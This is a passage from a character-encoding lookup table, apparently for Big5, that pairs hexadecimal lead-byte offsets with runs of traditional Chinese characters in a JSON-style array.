"楚楷楠楔極椰概楊楨楫楞楓楹榆楝楣楛歇歲毀殿毓毽溢溯滓溶滂源溝滇滅溥溘溼溺溫滑準溜滄滔溪溧溴煎煙煩煤煉照煜煬煦煌煥煞煆煨煖爺牒猷獅猿猾瑯瑚瑕瑟瑞瑁琿瑙瑛瑜當畸瘀痰瘁痲痱痺痿痴痳盞盟睛睫睦睞督"], ["b840", "睹睪睬睜睥睨睢矮碎碰碗碘碌碉硼碑碓硿祺祿禁萬禽稜稚稠稔稟稞窟窠筷節筠筮筧粱粳粵經絹綑綁綏絛置罩罪署義羨群聖聘肆肄腱腰腸腥腮腳腫"], ["b8a1", "腹腺腦舅艇蒂葷落萱葵葦葫葉葬葛萼萵葡董葩葭葆虞虜號蛹蜓蜈蜇蜀蛾蛻蜂蜃蜆蜊衙裟裔裙補裘裝裡裊裕裒覜解詫該詳試詩詰誇詼詣誠話誅詭詢詮詬詹詻訾詨豢貊貉賊資賈賄貲賃賂賅跡跟跨路跳跺跪跤跦躲較載軾輊"], ["b940", "辟農運遊道遂達逼違遐遇遏過遍遑逾遁鄒鄗酬酪酩釉鈷鉗鈸鈽鉀鈾鉛鉋鉤鉑鈴鉉鉍鉅鈹鈿鉚閘隘隔隕雍雋雉雊雷電雹零靖靴靶預頑頓頊頒頌飼飴"], ["b9a1", "飽飾馳馱馴髡鳩麂鼎鼓鼠僧僮僥僖僭僚僕像僑僱僎僩兢凳劃劂匱厭嗾嘀嘛嘗嗽嘔嘆嘉嘍嘎嗷嘖嘟嘈嘐嗶團圖塵塾境墓墊塹墅塽壽夥夢夤奪奩嫡嫦嫩嫗嫖嫘嫣孵寞寧寡寥實寨寢寤察對屢嶄嶇幛幣幕幗幔廓廖弊彆彰徹慇"], ["ba40", "愿態慷慢慣慟慚慘慵截撇摘摔撤摸摟摺摑摧搴摭摻敲斡旗旖暢暨暝榜榨榕槁榮槓構榛榷榻榫榴槐槍榭槌榦槃榣歉歌氳漳演滾漓滴漩漾漠漬漏漂漢"], ["baa1", "滿滯漆漱漸漲漣漕漫漯澈漪滬漁滲滌滷熔熙煽熊熄熒爾犒犖獄獐瑤瑣瑪瑰瑭甄疑瘧瘍瘋瘉瘓盡監瞄睽睿睡磁碟碧碳碩碣禎福禍種稱窪窩竭端管箕箋筵算箝箔箏箸箇箄粹粽精綻綰綜綽綾綠緊綴網綱綺綢綿綵綸維緒緇綬"], ["bb40", "罰翠翡翟聞聚肇腐膀膏膈膊腿膂臧臺與舔舞艋蓉蒿蓆蓄蒙蒞蒲蒜蓋蒸蓀蓓蒐蒼蓑蓊蜿蜜蜻蜢蜥蜴蜘蝕蜷蜩裳褂裴裹裸製裨褚裯誦誌語誣認誡誓誤"], ["bba1", "說誥誨誘誑誚誧豪貍貌賓賑賒赫趙趕跼輔輒輕輓辣遠遘遜遣遙遞遢遝遛鄙鄘鄞酵酸酷酴鉸銀銅銘銖鉻銓銜銨鉼銑閡閨閩閣閥閤隙障際雌雒需靼鞅韶頗領颯颱餃餅餌餉駁骯骰髦魁魂鳴鳶鳳麼鼻齊億儀僻僵價儂儈儉儅凜"], ["bc40", "劇劈劉劍劊勰厲嘮嘻嘹嘲嘿嘴嘩噓噎噗噴嘶嘯嘰墀墟增墳墜墮墩墦奭嬉嫻嬋嫵嬌嬈寮寬審寫層履嶝嶔幢幟幡廢廚廟廝廣廠彈影德徵慶慧慮慝慕憂"], ["bca1", "慼慰慫慾憧憐憫憎憬憚憤憔憮戮摩摯摹撞撲撈撐撰撥撓撕撩撒撮播撫撚撬撙撢撳敵敷數暮暫暴暱樣樟槨樁樞標槽模樓樊槳樂樅槭樑歐歎殤毅毆漿潼澄潑潦潔澆潭潛潸潮澎潺潰潤澗潘滕潯潠潟熟熬熱熨牖犛獎獗瑩璋璃"], ["bd40", "瑾璀畿瘠瘩瘟瘤瘦瘡瘢皚皺盤瞎瞇瞌瞑瞋磋磅確磊碾磕碼磐稿稼穀稽稷稻窯窮箭箱範箴篆篇篁箠篌糊締練緯緻緘緬緝編緣線緞緩綞緙緲緹罵罷羯"], ["bda1", "翩耦膛膜膝膠膚膘蔗蔽蔚蓮蔬蔭蔓蔑蔣蔡蔔蓬蔥蓿蔆螂蝴蝶蝠蝦蝸蝨蝙蝗蝌蝓衛衝褐複褒褓褕褊誼諒談諄誕請諸課諉諂調誰論諍誶誹諛豌豎豬賠賞賦賤賬賭賢賣賜質賡赭趟趣踫踐踝踢踏踩踟踡踞躺輝輛輟輩輦輪輜輞"], ["be40", "輥適遮遨遭遷鄰鄭鄧鄱醇醉醋醃鋅銻銷鋪銬鋤鋁銳銼鋒鋇鋰銲閭閱霄霆震霉靠鞍鞋鞏頡頫頜颳養餓餒餘駝駐駟駛駑駕駒駙骷髮髯鬧魅魄魷魯鴆鴉"], ["bea1", "鴃麩麾黎墨齒儒儘儔儐儕冀冪凝劑劓勳噙噫噹噩噤噸噪器噥噱噯噬噢噶壁墾壇壅奮嬝嬴學寰導彊憲憑憩憊懍憶憾懊懈戰擅擁擋撻撼據擄擇擂操撿擒擔撾整曆曉暹曄曇暸樽樸樺橙橫橘樹橄橢橡橋橇樵機橈歙歷氅濂澱澡"], ["bf40", "濃澤濁澧澳激澹澶澦澠澴熾燉燐燒燈燕熹燎燙燜燃燄獨璜璣璘璟璞瓢甌甍瘴瘸瘺盧盥瞠瞞瞟瞥磨磚磬磧禦積穎穆穌穋窺篙簑築篤篛篡篩篦糕糖縊"], ["bfa1", "縑縈縛縣縞縝縉縐罹羲翰翱翮耨膳膩膨臻興艘艙蕊蕙蕈蕨蕩蕃蕉蕭蕪蕞螃螟螞螢融衡褪褲褥褫褡親覦諦諺諫諱謀諜諧諮諾謁謂諷諭諳諶諼豫豭貓賴蹄踱踴蹂踹踵輻輯輸輳辨辦遵遴選遲遼遺鄴醒錠錶鋸錳錯錢鋼錫錄錚"], ["c040", "錐錦錡錕錮錙閻隧隨險雕霎霑霖霍霓霏靛靜靦鞘頰頸頻頷頭頹頤餐館餞餛餡餚駭駢駱骸骼髻髭鬨鮑鴕鴣鴦鴨鴒鴛默黔龍龜優償儡儲勵嚎嚀嚐嚅嚇"], ["c0a1", "嚏壕壓壑壎嬰嬪嬤孺尷屨嶼嶺嶽嶸幫彌徽應懂懇懦懋戲戴擎擊擘擠擰擦擬擱擢擭斂斃曙曖檀檔檄檢檜櫛檣橾檗檐檠歜殮毚氈濘濱濟濠濛濤濫濯澀濬濡濩濕濮濰燧營燮燦燥燭燬燴燠爵牆獰獲璩環璦璨癆療癌盪瞳瞪瞰瞬"], ["c140", "瞧瞭矯磷磺磴磯礁禧禪穗窿簇簍篾篷簌篠糠糜糞糢糟糙糝縮績繆縷縲繃縫總縱繅繁縴縹繈縵縿縯罄翳翼聱聲聰聯聳臆臃膺臂臀膿膽臉膾臨舉艱薪"], ["c1a1", "薄蕾薜薑薔薯薛薇薨薊虧蟀蟑螳蟒蟆螫螻螺蟈蟋褻褶襄褸褽覬謎謗謙講謊謠謝謄謐豁谿豳賺賽購賸賻趨蹉蹋蹈蹊轄輾轂轅輿避遽還邁邂邀鄹醣醞醜鍍鎂錨鍵鍊鍥鍋錘鍾鍬鍛鍰鍚鍔闊闋闌闈闆隱隸雖霜霞鞠韓顆颶餵騁"], ["c240", "駿鮮鮫鮪鮭鴻鴿麋黏點黜黝黛鼾齋叢嚕嚮壙壘嬸彝懣戳擴擲擾攆擺擻擷斷曜朦檳檬櫃檻檸櫂檮檯歟歸殯瀉瀋濾瀆濺瀑瀏燻燼燾燸獷獵璧璿甕癖癘"], ["c2a1", "癒瞽瞿瞻瞼礎禮穡穢穠竄竅簫簧簪簞簣簡糧織繕繞繚繡繒繙罈翹翻職聶臍臏舊藏薩藍藐藉薰薺薹薦蟯蟬蟲蟠覆覲觴謨謹謬謫豐贅蹙蹣蹦蹤蹟蹕軀轉轍邇邃邈醫醬釐鎔鎊鎖鎢鎳鎮鎬鎰鎘鎚鎗闔闖闐闕離雜雙雛雞霤鞣鞦"], ["c340", "鞭韹額顏題顎顓颺餾餿餽餮馥騎髁鬃鬆魏魎魍鯊鯉鯽鯈鯀鵑鵝鵠黠鼕鼬儳嚥壞壟壢寵龐廬懲懷懶懵攀攏曠曝櫥櫝櫚櫓瀛瀟瀨瀚瀝瀕瀘爆爍牘犢獸"], ["c3a1", "獺璽瓊瓣疇疆癟癡矇礙禱穫穩簾簿簸簽簷籀繫繭繹繩繪羅繳羶羹羸臘藩藝藪藕藤藥藷蟻蠅蠍蟹蟾襠襟襖襞譁譜識證譚譎譏譆譙贈贊蹼蹲躇蹶蹬蹺蹴轔轎辭邊邋醱醮鏡鏑鏟鏃鏈鏜鏝鏖鏢鏍鏘鏤鏗鏨關隴難霪霧靡韜韻類"], ["c440", "願顛颼饅饉騖騙鬍鯨鯧鯖鯛鶉鵡鵲鵪鵬麒麗麓麴勸嚨嚷嚶嚴嚼壤孀孃孽寶巉懸懺攘攔攙曦朧櫬瀾瀰瀲爐獻瓏癢癥礦礪礬礫竇競籌籃籍糯糰辮繽繼"], ["c4a1", "纂罌耀臚艦藻藹蘑藺蘆蘋蘇蘊蠔蠕襤覺觸議譬警譯譟譫贏贍躉躁躅躂醴釋鐘鐃鏽闡霰飄饒饑馨騫騰騷騵鰓鰍鹹麵黨鼯齟齣齡儷儸囁囀囂夔屬巍懼懾攝攜斕曩櫻欄櫺殲灌爛犧瓖瓔癩矓籐纏續羼蘗蘭蘚蠣蠢蠡蠟襪襬覽譴"], ["c540", "護譽贓躊躍躋轟辯醺鐮鐳鐵鐺鐸鐲鐫闢霸霹露響顧顥饗驅驃驀騾髏魔魑鰭鰥鶯鶴鷂鶸麝黯鼙齜齦齧儼儻囈囊囉孿巔巒彎懿攤權歡灑灘玀瓤疊癮癬"], ["c5a1", "禳籠籟聾聽臟襲襯觼讀贖贗躑躓轡酈鑄鑑鑒霽霾韃韁顫饕驕驍髒鬚鱉鰱鰾鰻鷓鷗鼴齬齪龔囌巖戀攣攫攪曬欐瓚竊籤籣籥纓纖纔臢蘸蘿蠱變邐邏鑣鑠鑤靨顯饜驚驛驗髓體髑鱔鱗鱖鷥麟黴囑壩攬灞癱癲矗罐羈蠶蠹衢讓讒"], ["c640", "讖艷贛釀鑪靂靈靄韆顰驟鬢魘鱟鷹鷺鹼鹽鼇齷齲廳欖灣籬籮蠻觀躡釁鑲鑰顱饞髖鬣黌灤矚讚鑷韉驢驥纜讜躪釅鑽鑾鑼鱷鱸黷豔鑿鸚爨驪鬱鸛鸞籲"], ["c940", "乂乜凵匚厂万丌乇亍囗兀屮彳丏冇与丮亓仂仉仈冘勼卬厹圠夃夬尐巿旡殳毌气爿丱丼仨仜仩仡仝仚刌匜卌圢圣夗夯宁宄尒尻屴屳帄庀庂忉戉扐氕"], ["c9a1", "氶汃氿氻犮犰玊禸肊阞伎优伬仵伔仱伀价伈伝伂伅伢伓伄仴伒冱刓刉刐劦匢匟卍厊吇囡囟圮圪圴夼妀奼妅奻奾奷奿孖尕尥屼屺屻屾巟幵庄异弚彴忕忔忏扜扞扤扡扦扢扙扠扚扥旯旮朾朹朸朻机朿朼朳氘汆汒汜汏汊汔汋"], ["ca40", "汌灱牞犴犵玎甪癿穵网艸艼芀艽艿虍襾邙邗邘邛邔阢阤阠阣佖伻佢佉体佤伾佧佒佟佁佘伭伳伿佡冏冹刜刞刡劭劮匉卣卲厎厏吰吷吪呔呅吙吜吥吘"], ["caa1", "吽呏呁吨吤呇囮囧囥坁坅坌坉坋坒夆奀妦妘妠妗妎妢妐妏妧妡宎宒尨尪岍岏岈岋岉岒岊岆岓岕巠帊帎庋庉庌庈庍弅弝彸彶忒忑忐忭忨忮忳忡忤忣忺忯忷忻怀忴戺抃抌抎抏抔抇扱扻扺扰抁抈扷扽扲扴攷旰旴旳旲旵杅杇"], ["cb40", "杙杕杌杈杝杍杚杋毐氙氚汸汧汫沄沋沏汱汯汩沚汭沇沕沜汦汳汥汻沎灴灺牣犿犽狃狆狁犺狅玕玗玓玔玒町甹疔疕皁礽耴肕肙肐肒肜芐芏芅芎芑芓"], ["cba1", "芊芃芄豸迉辿邟邡邥邞邧邠阰阨阯阭丳侘佼侅佽侀侇佶佴侉侄佷佌侗佪侚佹侁佸侐侜侔侞侒侂侕佫佮冞冼冾刵刲刳剆刱劼匊匋匼厒厔咇呿咁咑咂咈呫呺呾呥呬呴呦咍呯呡呠咘呣呧呤囷囹坯坲坭坫坱坰坶垀坵坻坳坴坢"], ["cc40", "坨坽夌奅妵妺姏姎妲姌姁妶妼姃姖妱妽姀姈妴姇孢孥宓宕屄屇岮岤岠岵岯岨岬岟岣岭岢岪岧岝岥岶岰岦帗帔帙弨弢弣弤彔徂彾彽忞忥怭怦怙怲怋"], ["cca1", "怴怊怗怳怚怞怬怢怍怐怮怓怑怌怉怜戔戽抭抴拑抾抪抶拊抮抳抯抻抩抰抸攽斨斻昉旼昄昒昈旻昃昋昍昅旽昑昐曶朊枅杬枎枒杶杻枘枆构杴枍枌杺枟枑枙枃杽极杸杹枔欥殀歾毞氝沓泬泫泮泙沶泔沭泧沷泐泂沺泃泆泭泲"], ["cd40", "泒泝沴沊沝沀泞泀洰泍泇沰泹泏泩泑炔炘炅炓炆炄炑炖炂炚炃牪狖狋狘狉狜狒狔狚狌狑玤玡玭玦玢玠玬玝瓝瓨甿畀甾疌疘皯盳盱盰盵矸矼矹矻矺"], ["cda1", "矷祂礿秅穸穻竻籵糽耵肏肮肣肸肵肭舠芠苀芫芚芘芛芵芧芮芼芞芺芴芨芡芩苂芤苃芶芢虰虯虭虮豖迒迋迓迍迖迕迗邲邴邯邳邰阹阽阼阺陃俍俅俓侲俉俋俁俔俜俙侻侳俛俇俖侺俀侹俬剄剉勀勂匽卼厗厖厙厘咺咡咭咥哏"], ["ce40", "哃茍咷咮哖咶哅哆咠呰咼咢咾呲哞咰垵垞垟垤垌垗垝垛垔垘垏垙垥垚垕壴复奓姡姞姮娀姱姝姺姽姼姶姤姲姷姛姩姳姵姠姾姴姭宨屌峐峘峌峗峋峛"], ["cea1", "峞峚峉峇峊峖峓峔峏峈峆峎峟峸巹帡帢帣帠帤庰庤庢庛庣庥弇弮彖徆怷怹恔恲恞恅恓恇恉恛恌恀恂恟怤恄恘恦恮扂扃拏挍挋拵挎挃拫拹挏挌拸拶挀挓挔拺挕拻拰敁敃斪斿昶昡昲昵昜昦昢昳昫昺昝昴昹昮朏朐柁柲柈枺"], ["cf40", "柜枻柸柘柀枷柅柫柤柟枵柍枳柷柶柮柣柂枹柎柧柰枲柼柆柭柌枮柦柛柺柉柊柃柪柋欨殂殄殶毖毘毠氠氡洨洴洭洟洼洿洒洊泚洳洄洙洺洚洑洀洝浂"], ["cfa1", "洁洘洷洃洏浀洇洠洬洈洢洉洐炷炟炾炱炰炡炴炵炩牁牉牊牬牰牳牮狊狤狨狫狟狪狦狣玅珌珂珈珅玹玶玵玴珫玿珇玾珃珆玸珋瓬瓮甮畇畈疧疪癹盄眈眃眄眅眊盷盻盺矧矨砆砑砒砅砐砏砎砉砃砓祊祌祋祅祄秕种秏秖秎窀"], ["d040", "穾竑笀笁籺籸籹籿粀粁紃紈紁罘羑羍羾耇耎耏耔耷胘胇胠胑胈胂胐胅胣胙胜胊胕胉胏胗胦胍臿舡芔苙苾苹茇苨茀苕茺苫苖苴苬苡苲苵茌苻苶苰苪"], ["d0a1", "苤苠苺苳苭虷虴虼虳衁衎衧衪衩觓訄訇赲迣迡迮迠郱邽邿郕郅邾郇郋郈釔釓陔陏陑陓陊陎倞倅倇倓倢倰倛俵俴倳倷倬俶俷倗倜倠倧倵倯倱倎党冔冓凊凄凅凈凎剡剚剒剞剟剕剢勍匎厞唦哢唗唒哧哳哤唚哿唄唈哫唑唅哱"], ["d140", "唊哻哷哸哠唎唃唋圁圂埌堲埕埒垺埆垽垼垸垶垿埇埐垹埁夎奊娙娖娭娮娕娏娗娊娞娳孬宧宭宬尃屖屔峬峿峮峱峷崀峹帩帨庨庮庪庬弳弰彧恝恚恧"], ["d1a1", "恁悢悈悀悒悁悝悃悕悛悗悇悜悎戙扆拲挐捖挬捄捅挶捃揤挹捋捊挼挩捁挴捘捔捙挭捇挳捚捑挸捗捀捈敊敆旆旃旄旂晊晟晇晑朒朓栟栚桉栲栳栻桋桏栖栱栜栵栫栭栯桎桄栴栝栒栔栦栨栮桍栺栥栠欬欯欭欱欴歭肂殈毦毤"], ["d240", "毨毣毢毧氥浺浣浤浶洍浡涒浘浢浭浯涑涍淯浿涆浞浧浠涗浰浼浟涂涘洯浨涋浾涀涄洖涃浻浽浵涐烜烓烑烝烋缹烢烗烒烞烠烔烍烅烆烇烚烎烡牂牸"], ["d2a1", "牷牶猀狺狴狾狶狳狻猁珓珙珥珖玼珧珣珩珜珒珛珔珝珚珗珘珨瓞瓟瓴瓵甡畛畟疰痁疻痄痀疿疶疺皊盉眝眛眐眓眒眣眑眕眙眚眢眧砣砬砢砵砯砨砮砫砡砩砳砪砱祔祛祏祜祓祒祑秫秬秠秮秭秪秜秞秝窆窉窅窋窌窊窇竘笐"], ["d340", "笄笓笅笏笈笊笎笉笒粄粑粊粌粈粍粅紞紝紑紎紘紖紓紟紒紏紌罜罡罞罠罝罛羖羒翃翂翀耖耾耹胺胲胹胵脁胻脀舁舯舥茳茭荄茙荑茥荖茿荁茦茜茢"], ["d3a1", "荂荎茛茪茈茼荍茖茤茠茷茯茩荇荅荌荓茞茬荋茧荈虓虒蚢蚨蚖蚍蚑蚞蚇蚗蚆蚋蚚蚅蚥蚙蚡蚧蚕蚘蚎蚝蚐蚔衃衄衭衵衶衲袀衱衿衯袃衾衴衼訒豇豗豻貤貣赶赸趵趷趶軑軓迾迵适迿迻逄迼迶郖郠郙郚郣郟郥郘郛郗郜郤酐"], ["d440", "酎酏釕釢釚陜陟隼飣髟鬯乿偰偪偡偞偠偓偋偝偲偈偍偁偛偊偢倕偅偟偩偫偣偤偆偀偮偳偗偑凐剫剭剬剮勖勓匭厜啵啶唼啍啐唴唪啑啢唶唵唰啒啅"], ["d4a1", "唌唲啥啎唹啈唭唻啀啋圊圇埻堔埢埶埜埴堀埭埽堈埸堋埳埏堇埮埣埲埥埬埡堎埼堐埧堁堌埱埩埰堍堄奜婠婘婕婧婞娸娵婭婐婟婥婬婓婤婗婃婝婒婄婛婈媎娾婍娹婌婰婩婇婑婖婂婜孲孮寁寀屙崞崋崝崚崠崌崨崍崦崥崏"], ["d540", "崰崒崣崟崮帾帴庱庴庹庲庳弶弸徛徖徟悊悐悆悾悰悺惓惔惏惤惙惝惈悱惛悷惊悿惃惍惀挲捥掊掂捽掽掞掭掝掗掫掎捯掇掐据掯捵掜捭掮捼掤挻掟"], ["d5a1", "捸掅掁掑掍捰敓旍晥晡晛晙晜晢朘桹梇梐梜桭桮梮梫楖桯梣梬梩桵桴梲梏桷梒桼桫桲梪梀桱桾梛梖梋梠梉梤桸桻梑梌梊桽欶欳欷欸殑殏殍殎殌氪淀涫涴涳湴涬淩淢涷淶淔渀淈淠淟淖涾淥淜淝淛淴淊涽淭淰涺淕淂淏淉"], ["d640", "淐淲淓淽淗淍淣涻烺焍烷焗烴焌烰焄烳焐烼烿焆焓焀烸烶焋焂焎牾牻牼牿猝猗猇猑猘猊猈狿猏猞玈珶珸珵琄琁珽琇琀珺珼珿琌琋珴琈畤畣痎痒痏"], ["d6a1", "痋痌痑痐皏皉盓眹眯眭眱眲眴眳眽眥眻眵硈硒硉硍硊硌砦硅硐祤祧祩祪祣祫祡离秺秸秶秷窏窔窐笵筇笴笥笰笢笤笳笘笪笝笱笫笭笯笲笸笚笣粔粘粖粣紵紽紸紶紺絅紬紩絁絇紾紿絊紻紨罣羕羜羝羛翊翋翍翐翑翇翏翉耟"], ["d740", "耞耛聇聃聈脘脥脙脛脭脟脬脞脡脕脧脝脢舑舸舳舺舴舲艴莐莣莨莍荺荳莤荴莏莁莕莙荵莔莩荽莃莌莝莛莪莋荾莥莯莈莗莰荿莦莇莮荶莚虙虖蚿蚷"], ["d7a1", "蛂蛁蛅蚺蚰蛈蚹蚳蚸蛌蚴蚻蚼蛃蚽蚾衒袉袕袨袢袪袚袑袡袟袘袧袙袛袗袤袬袌袓袎覂觖觙觕訰訧訬訞谹谻豜豝豽貥赽赻赹趼跂趹趿跁軘軞軝軜軗軠軡逤逋逑逜逌逡郯郪郰郴郲郳郔郫郬郩酖酘酚酓酕釬釴釱釳釸釤釹釪"], ["d840", "釫釷釨釮镺閆閈陼陭陫陱陯隿靪頄飥馗傛傕傔傞傋傣傃傌傎傝偨傜傒傂傇兟凔匒匑厤厧喑喨喥喭啷噅喢喓喈喏喵喁喣喒喤啽喌喦啿喕喡喎圌堩堷"], ["d8a1", "堙堞堧堣堨埵塈堥堜堛堳堿堶堮堹堸堭堬堻奡媯媔媟婺媢媞婸媦婼媥媬媕媮娷媄媊媗媃媋媩婻婽媌媜媏媓媝寪寍寋寔寑寊寎尌尰崷嵃嵫嵁嵋崿崵嵑嵎嵕崳崺嵒崽崱嵙嵂崹嵉崸崼崲崶嵀嵅幄幁彘徦徥徫惉悹惌惢惎惄愔"], ["d940", "惲愊愖愅惵愓惸惼惾惁愃愘愝愐惿愄愋扊掔掱掰揎揥揨揯揃撝揳揊揠揶揕揲揵摡揟掾揝揜揄揘揓揂揇揌揋揈揰揗揙攲敧敪敤敜敨敥斌斝斞斮旐旒"], ["d9a1", "晼晬晻暀晱晹晪晲朁椌棓椄棜椪棬棪棱椏棖棷棫棤棶椓椐棳棡椇棌椈楰梴椑棯棆椔棸棐棽棼棨椋椊椗棎棈棝棞棦棴棑椆棔棩椕椥棇欹欻欿欼殔殗殙殕殽毰毲毳氰淼湆湇渟湉溈渼渽湅湢渫渿湁湝湳渜渳湋湀湑渻渃渮湞"], ["da40", "湨湜湡渱渨湠湱湫渹渢渰湓湥渧湸湤湷湕湹湒湦渵渶湚焠焞焯烻焮焱焣焥焢焲焟焨焺焛牋牚犈犉犆犅犋猒猋猰猢猱猳猧猲猭猦猣猵猌琮琬琰琫琖"], ["daa1", "琚琡琭琱琤琣琝琩琠琲瓻甯畯畬痧痚痡痦痝痟痤痗皕皒盚睆睇睄睍睅睊睎睋睌矞矬硠硤硥硜硭硱硪确硰硩硨硞硢祴祳祲祰稂稊稃稌稄窙竦竤筊笻筄筈筌筎筀筘筅粢粞粨粡絘絯絣絓絖絧絪絏絭絜絫絒絔絩絑絟絎缾缿罥"], ["db40", "罦羢羠羡翗聑聏聐胾胔腃腊腒腏腇脽腍脺臦臮臷臸臹舄舼舽舿艵茻菏菹萣菀菨萒菧菤菼菶萐菆菈菫菣莿萁菝菥菘菿菡菋菎菖菵菉萉萏菞萑萆菂菳"], ["dba1", "菕菺菇菑菪萓菃菬菮菄菻菗菢萛菛菾蛘蛢蛦蛓蛣蛚蛪蛝蛫蛜蛬蛩蛗蛨蛑衈衖衕袺裗袹袸裀袾袶袼袷袽袲褁裉覕覘覗觝觚觛詎詍訹詙詀詗詘詄詅詒詈詑詊詌詏豟貁貀貺貾貰貹貵趄趀趉跘跓跍跇跖跜跏跕跙跈跗跅軯軷軺"], ["dc40", "軹軦軮軥軵軧軨軶軫軱軬軴軩逭逴逯鄆鄬鄄郿郼鄈郹郻鄁鄀鄇鄅鄃酡酤酟酢酠鈁鈊鈥鈃鈚鈦鈏鈌鈀鈒釿釽鈆鈄鈧鈂鈜鈤鈙鈗鈅鈖镻閍閌閐隇陾隈"], ["dca1", "隉隃隀雂雈雃雱雰靬靰靮頇颩飫鳦黹亃亄亶傽傿僆傮僄僊傴僈僂傰僁傺傱僋僉傶傸凗剺剸剻剼嗃嗛嗌嗐嗋嗊嗝嗀嗔嗄嗩喿嗒喍嗏嗕嗢嗖嗈嗲嗍嗙嗂圔塓塨塤塏塍塉塯塕塎塝塙塥塛堽塣塱壼嫇嫄嫋媺媸媱媵媰媿嫈媻嫆"], ["dd40", "媷嫀嫊媴媶嫍媹媐寖寘寙尟尳嵱嵣嵊嵥嵲嵬嵞嵨嵧嵢巰幏幎幊幍幋廅廌廆廋廇彀徯徭惷慉慊愫慅愶愲愮慆愯慏愩慀戠酨戣戥戤揅揱揫搐搒搉搠搤"], ["dda1", "搳摃搟搕搘搹搷搢搣搌搦搰搨摁搵搯搊搚摀搥搧搋揧搛搮搡搎敯斒旓暆暌暕暐暋暊暙暔晸朠楦楟椸楎楢楱椿楅楪椹楂楗楙楺楈楉椵楬椳椽楥棰楸椴楩楀楯楄楶楘楁楴楌椻楋椷楜楏楑椲楒椯楻椼歆歅歃歂歈歁殛嗀毻毼"], ["de40", "毹毷毸溛滖滈溏滀溟溓溔溠溱溹滆滒溽滁溞滉溷溰滍溦滏溲溾滃滜滘溙溒溎溍溤溡溿溳滐滊溗溮溣煇煔煒煣煠煁煝煢煲煸煪煡煂煘煃煋煰煟煐煓"], ["dea1", "煄煍煚牏犍犌犑犐犎猼獂猻猺獀獊獉瑄瑊瑋瑒瑑瑗瑀瑏瑐瑎瑂瑆瑍瑔瓡瓿瓾瓽甝畹畷榃痯瘏瘃痷痾痼痹痸瘐痻痶痭痵痽皙皵盝睕睟睠睒睖睚睩睧睔睙睭矠碇碚碔碏碄碕碅碆碡碃硹碙碀碖硻祼禂祽祹稑稘稙稒稗稕稢稓"], ["df40", "稛稐窣窢窞竫筦筤筭筴筩筲筥筳筱筰筡筸筶筣粲粴粯綈綆綀綍絿綅絺綎絻綃絼綌綔綄絽綒罭罫罧罨罬羦羥羧翛翜耡腤腠腷腜腩腛腢腲朡腞腶腧腯"], ["dfa1", "腄腡舝艉艄艀艂艅蓱萿葖葶葹蒏蒍葥葑葀蒆葧萰葍葽葚葙葴葳葝蔇葞萷萺萴葺葃葸萲葅萩菙葋萯葂萭葟葰萹葎葌葒葯蓅蒎萻葇萶萳葨葾葄萫葠葔葮葐蜋蜄蛷蜌蛺蛖蛵蝍蛸蜎蜉蜁蛶蜍蜅裖裋裍裎裞裛裚裌裐覅覛觟觥觤"], ["e040", "觡觠觢觜触詶誆詿詡訿詷誂誄詵誃誁詴詺谼豋豊豥豤豦貆貄貅賌赨赩趑趌趎趏趍趓趔趐趒跰跠跬跱跮跐跩跣跢跧跲跫跴輆軿輁輀輅輇輈輂輋遒逿"], ["e0a1", "遄遉逽鄐鄍鄏鄑鄖鄔鄋鄎酮酯鉈鉒鈰鈺鉦鈳鉥鉞銃鈮鉊鉆鉭鉬鉏鉠鉧鉯鈶鉡鉰鈱鉔鉣鉐鉲鉎鉓鉌鉖鈲閟閜閞閛隒隓隑隗雎雺雽雸雵靳靷靸靲頏頍頎颬飶飹馯馲馰馵骭骫魛鳪鳭鳧麀黽僦僔僗僨僳僛僪僝僤僓僬僰僯僣僠"], ["e140", "凘劀劁勩勫匰厬嘧嘕嘌嘒嗼嘏嘜嘁嘓嘂嗺嘝嘄嗿嗹墉塼墐墘墆墁塿塴墋塺墇墑墎塶墂墈塻墔墏壾奫嫜嫮嫥嫕嫪嫚嫭嫫嫳嫢嫠嫛嫬嫞嫝嫙嫨嫟孷寠"], ["e1a1", "寣屣嶂嶀嵽嶆嵺嶁嵷嶊嶉嶈嵾嵼嶍嵹嵿幘幙幓廘廑廗廎廜廕廙廒廔彄彃彯徶愬愨慁慞慱慳慒慓慲慬憀慴慔慺慛慥愻慪慡慖戩戧戫搫摍摛摝摴摶摲摳摽摵摦撦摎撂摞摜摋摓摠摐摿搿摬摫摙摥摷敳斠暡暠暟朅朄朢榱榶槉"], ["e240", "榠槎榖榰榬榼榑榙榎榧榍榩榾榯榿槄榽榤槔榹槊榚槏榳榓榪榡榞槙榗榐槂榵榥槆歊歍歋殞殟殠毃毄毾滎滵滱漃漥滸漷滻漮漉潎漙漚漧漘漻漒滭漊"], ["e2a1", "漶潳滹滮漭潀漰漼漵滫漇漎潃漅滽滶漹漜滼漺漟漍漞漈漡熇熐熉熀熅熂熏煻熆熁熗牄牓犗犕犓獃獍獑獌瑢瑳瑱瑵瑲瑧瑮甀甂甃畽疐瘖瘈瘌瘕瘑瘊瘔皸瞁睼瞅瞂睮瞀睯睾瞃碲碪碴碭碨硾碫碞碥碠碬碢碤禘禊禋禖禕禔禓"], ["e340", "禗禈禒禐稫穊稰稯稨稦窨窫窬竮箈箜箊箑箐箖箍箌箛箎箅箘劄箙箤箂粻粿粼粺綧綷緂綣綪緁緀緅綝緎緄緆緋緌綯綹綖綼綟綦綮綩綡緉罳翢翣翥翞"], ["e3a1", "耤聝聜膉膆膃膇膍膌膋舕蒗蒤蒡蒟蒺蓎蓂蒬蒮蒫蒹蒴蓁蓍蒪蒚蒱蓐蒝蒧蒻蒢蒔蓇蓌蒛蒩蒯蒨蓖蒘蒶蓏蒠蓗蓔蓒蓛蒰蒑虡蜳蜣蜨蝫蝀蜮蜞蜡蜙蜛蝃蜬蝁蜾蝆蜠蜲蜪蜭蜼蜒蜺蜱蜵蝂蜦蜧蜸蜤蜚蜰蜑裷裧裱裲裺裾裮裼裶裻"], ["e440", "裰裬裫覝覡覟覞觩觫觨誫誙誋誒誏誖谽豨豩賕賏賗趖踉踂跿踍跽踊踃踇踆踅跾踀踄輐輑輎輍鄣鄜鄠鄢鄟鄝鄚鄤鄡鄛酺酲酹酳銥銤鉶銛鉺銠銔銪銍"], ["e4a1", "銦銚銫鉹銗鉿銣鋮銎銂銕銢鉽銈銡銊銆銌銙銧鉾銇銩銝銋鈭隞隡雿靘靽靺靾鞃鞀鞂靻鞄鞁靿韎韍頖颭颮餂餀餇馝馜駃馹馻馺駂馽駇骱髣髧鬾鬿魠魡魟鳱鳲鳵麧僿儃儰僸儆儇僶僾儋儌僽儊劋劌勱勯噈噂噌嘵噁噊噉噆噘"], ["e540", 